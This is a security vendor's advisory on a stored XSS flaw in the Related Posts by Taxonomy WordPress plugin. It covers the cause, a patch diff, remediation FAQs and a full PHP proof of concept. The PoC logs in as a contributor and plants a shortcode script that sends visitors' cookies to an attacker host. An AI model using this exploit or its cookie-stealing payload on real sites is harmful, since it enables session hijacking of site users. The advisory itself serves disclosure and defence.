Atomic Edge analysis of CVE-2026-0916:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Related Posts by Taxonomy WordPress plugin. The vulnerability affects the plugin’s ‘related_posts_by_tax’ shortcode, allowing attackers with contributor-level or higher privileges to inject malicious scripts. These scripts execute when a user views a page containing the compromised shortcode.
The root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. The vulnerable code resides in the `related_posts_by_taxonomy` function within `/includes/functions.php`. Prior to the patch, this function directly output user-controlled arguments from the `$rpbt_args` array (lines 258-261) without proper escaping. The function concatenated values for ‘before’, ‘after’, ‘title’, and ‘post_class’ parameters directly into the final HTML output.
Exploitation requires an authenticated attacker with at least contributor-level access to create or edit a post. The attacker embeds the `[related_posts_by_tax]` shortcode with malicious JavaScript payloads within its attributes. For example, an attacker could use `[related_posts_by_tax title=”alert(document.domain)”]`. When the post is saved and subsequently viewed, the browser executes the injected script in the context of the victim’s session.
The patch introduces a centralized HTML sanitization function, `km_rpbt_kses_allowed_html()`, defined in `/includes/settings.php`. This function returns an array of allowed HTML tags and attributes, building upon `wp_kses_allowed_html(‘post’)` and adding specific allowances for `
Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect users to malicious sites. The impact is limited to the context of users who view the compromised page, but with a CVSS score of 6.4, it represents a significant risk to site integrity and user security.
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/related-posts-by-taxonomy/includes/class-rest-api.php
+++ b/related-posts-by-taxonomy/includes/class-rest-api.php
@@ -186,14 +186,7 @@
* @return string Sanitized HTML.
*/
public function sanitize_response_html( $html ) {
- $tags = wp_kses_allowed_html( 'post' );
-
- // For show date
- $tags['time'] = array(
- 'datetime' => true,
- 'class' => true,
- );
-
+ $tags = km_rpbt_kses_allowed_html();
$html = wp_kses( $html, $tags );
return $html ? $html : '';
}
--- a/related-posts-by-taxonomy/includes/functions.php
+++ b/related-posts-by-taxonomy/includes/functions.php
@@ -261,7 +261,20 @@
$html .= isset( $rpbt_args[ $after ] ) ? $rpbt_args[ $after ] . "n" : '';
}
+ /**
+ * Filters Disallowed tags (<scipt> etc...) out of html output by default.
+ *
+ * @since 2.7.7
+ *
+ * @return boolean Srips disallowed html from output if true
+ */
+ if ( apply_filters( 'related_posts_by_taxonomy_strip_disallowed_html', true, $rpbt_args ) ) {
+ // Html is filtered by default to only return allowed HTML.
+ $html = wp_kses( $html, km_rpbt_kses_allowed_html() );
+ }
+
$recursing = false;
+
return trim( $html );
}
--- a/related-posts-by-taxonomy/includes/settings.php
+++ b/related-posts-by-taxonomy/includes/settings.php
@@ -363,3 +363,36 @@
}
return $args;
}
+
+/**
+ * Returns all valid tags in html returned by this plugin.
+ *
+ * @since 2.7.7
+ *
+ * @return array Array with validated boolean values
+ */
+function km_rpbt_kses_allowed_html() {
+ $tags = wp_kses_allowed_html( 'post' );
+
+ if ( ! isset( $tags['time'] ) || ! is_array( $tags['time'] ) ) {
+ $tags['time'] = array();
+ }
+ $tags['time']['datetime'] = true;
+ $tags['time']['class'] = true;
+
+ if ( ! isset( $tags['img'] ) || ! is_array( $tags['img'] ) ) {
+ $tags['img'] = array();
+ }
+ $tags['img']['srcset'] = true;
+ $tags['img']['decoding'] = true;
+ $tags['img']['sizes'] = true;
+
+ /**
+ * Valid tags used for kses.
+ *
+ * @since 2.7.7
+ *
+ * @return array Array with allowed html tags
+ */
+ return apply_filters( 'related_posts_by_taxonomy_kses_allowed_html', $tags );
+}
--- a/related-posts-by-taxonomy/related-posts-by-taxonomy.php
+++ b/related-posts-by-taxonomy/related-posts-by-taxonomy.php
@@ -1,7 +1,7 @@
<?php
/**
* Plugin Name: Related Posts By Taxonomy
- * Version: 2.7.6
+ * Version: 2.7.7
* Plugin URI: http://keesiemeijer.wordpress.com/related-posts-by-taxonomy/
* Description: Display related posts as thumbnails, links, excerpts or as full posts with a widget or shortcode. Posts with the most terms in common will display at the top.
* Author: keesiemijer
ModSecurity Protection Against This CVE
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0916 - Related Posts by Taxonomy <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'related_posts_by_tax' Shortcode
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor';
$password = 'password';
// Payload: Inject a script that steals the user's cookies.
$malicious_title = '<script>fetch("https://attacker.com/steal?c=" + document.cookie);</script>';
$shortcode = '[related_posts_by_tax title="' . $malicious_title . '"]';
// Create a new post with the malicious shortcode.
$post_data = [
'post_title' => 'Test Post with XSS',
'post_content' => 'This post contains an exploited shortcode. ' . $shortcode,
'post_status' => 'publish',
'post_type' => 'post'
];
// Initialize cURL session for login and cookie handling.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get the login page to retrieve the nonce.
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
$login_page = curl_exec($ch);
preg_match('/name="log"[^>]+value="([^"]*)"?/', $login_page, $log_match);
$log = $log_match[1] ?? '';
preg_match('/name="pwd"[^>]+value="([^"]*)"?/', $login_page, $pwd_match);
$pwd = $pwd_match[1] ?? '';
preg_match('/name="wp-submit"[^>]+value="([^"]*)"?/', $login_page, $submit_match);
$wp_submit = $submit_match[1] ?? 'Log In';
// Step 2: Perform the login POST.
$login_post_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => $wp_submit,
'redirect_to' => 'http://vulnerable-wordpress-site.local/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_post_data);
$login_response = curl_exec($ch);
// Step 3: Create a new post with the malicious shortcode.
// First, get the post creation page to retrieve the nonce (_wpnonce).
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_new_page = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_new_page, $nonce_match);
$wpnonce = $nonce_match[1] ?? '';
// Build the POST data for creating the post.
$create_post_data = http_build_query(array_merge($post_data, [
'_wpnonce' => $wpnonce,
'_wp_http_referer' => '/wp-admin/post-new.php',
'action' => 'editpost',
'post_type' => 'post',
'user_ID' => '1', // Adjust if needed
'meta-box-order-nonce' => $wpnonce,
'closedpostboxesnonce' => $wpnonce,
'samplepermalinknonce' => $wpnonce
]));
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $create_post_data);
$create_response = curl_exec($ch);
// Check for success.
if (strpos($create_response, 'Post published.') !== false || strpos($create_response, 'Post updated.') !== false) {
echo "[+] Malicious post created successfully. The XSS payload will execute when the post is viewed.n";
// Extract the post ID from the response for demonstration.
preg_match('/post=([0-9]+)/', $create_response, $post_id_match);
if (!empty($post_id_match[1])) {
$post_id = $post_id_match[1];
echo "[+] Post ID: $post_id. View at: http://vulnerable-wordpress-site.local/?p=$post_idn";
}
} else {
echo "[-] Post creation may have failed. Check authentication and permissions.n";
}
curl_close($ch);
?>
CVE-2026-0916 is a stored cross-site scripting (XSS) vulnerability in the Related Posts by Taxonomy WordPress plugin, affecting versions up to and including 2.7.6. It allows authenticated users with contributor-level access or higher to inject arbitrary JavaScript into posts via the ‘related_posts_by_tax’ shortcode.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping of user-supplied attributes in the shortcode. An attacker can embed malicious scripts in the shortcode attributes, which execute in the context of users viewing the affected post.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the Related Posts by Taxonomy plugin version 2.7.6 or earlier is at risk. Specifically, users with contributor-level access or higher can exploit this vulnerability to inject malicious scripts.
How can I check if my site is vulnerable?
Steps to verify vulnerability
Check the version of the Related Posts by Taxonomy plugin installed on your WordPress site. If it is version 2.7.6 or earlier, your site is vulnerable to CVE-2026-0916. Additionally, review recent posts for any suspicious shortcode usage.
How can I fix this vulnerability?
Updating the plugin
To mitigate this issue, update the Related Posts by Taxonomy plugin to version 2.7.7 or later, where the vulnerability has been patched. Regularly check for plugin updates to ensure ongoing security.
What is the CVSS score of this vulnerability?
Understanding severity ratings
CVE-2026-0916 has a CVSS score of 6.4, indicating a medium severity level. This score reflects the potential impact of the vulnerability, suggesting it poses a moderate risk to site integrity and user security.
What does the risk level mean in practical terms?
Implications of the CVSS score
A CVSS score of 6.4 means that while the vulnerability requires authenticated access to exploit, it can lead to significant consequences, such as session hijacking or defacement of the site. It is important to address this vulnerability promptly.
What is stored cross-site scripting (XSS)?
Definition and impact
Stored XSS occurs when an attacker injects malicious scripts into a web application, which are then stored and served to users. This can lead to unauthorized actions on behalf of users, data theft, and compromised site integrity.
How does the proof of concept demonstrate the issue?
Understanding the exploit
The proof of concept illustrates how an authenticated attacker can create a post containing a malicious shortcode. When a user views this post, the injected script executes, demonstrating the vulnerability’s potential impact.
What are the best practices to prevent similar vulnerabilities?
Security recommendations
To prevent similar vulnerabilities, always validate and sanitize user inputs, use output escaping functions, and regularly update plugins and themes. Conduct security audits and utilize security plugins to enhance site protection.
Is there a way to mitigate the risk without updating?
Temporary measures
While updating is the best solution, you can temporarily mitigate risk by restricting contributor-level access or disabling the Related Posts by Taxonomy plugin until it is updated. Monitor user activity for any suspicious behavior.
What should I do if I suspect my site has been exploited?
Response steps
If you suspect exploitation, immediately disable the affected plugin, review your site for unauthorized changes, and change all user passwords. Consider restoring from a clean backup and conducting a security audit.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.